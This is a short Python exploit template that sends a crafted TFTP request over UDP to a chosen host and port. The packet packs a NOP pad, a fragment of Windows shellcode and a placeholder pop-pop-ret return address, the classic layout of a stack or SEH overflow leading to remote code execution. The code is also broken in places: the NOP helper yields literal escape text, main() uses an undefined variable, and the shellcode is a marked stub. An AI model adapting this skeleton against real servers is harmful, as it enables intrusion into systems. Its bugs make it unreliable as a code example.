#!/usr/bin/env python
# $Id: template_exploit.py,v 1.0 2018/07/08 00:49:21 dhn Exp $

import struct
import socket
import argparse

# TODO: Change me!
shellcode = (
	"\x31\xc9\x64\x8b\x71\x30\x8b\x76"
	"\x0c\x8b\x76\x1c\x8b\x6e\x08\x8b"
	"\x7e\x20\x8b\x36\x38\x4f\x18\x75"
	"\xf3\x51\x68\x32\x5f\x33\x32\x68"
)

def p(x):
	return struct.pack("<L", x)

def nops(size=1024):
	return "\\x90" * size

def main(args):
	padding = nops(8)
	padding += shellcode
	pop2ret = p(0xdeadbeef)

	# PAYLOAD
	payload = "\x00\x01"
	payload += padding
	payload += pop2ret
	payload += "netascii\x00"

	print("[+] Sending the payload to %s:%s" % (opt.host, opt.port))
	expl = socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
	expl.connect((opt.host, int(opt.port)))
	expl.send(payload)
	expl.close()

if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument("--host", help="Target hostname or ip", required=True)
	parser.add_argument("--port", help="Target port", required=True)
	args = parser.parse_args()

	main(args)
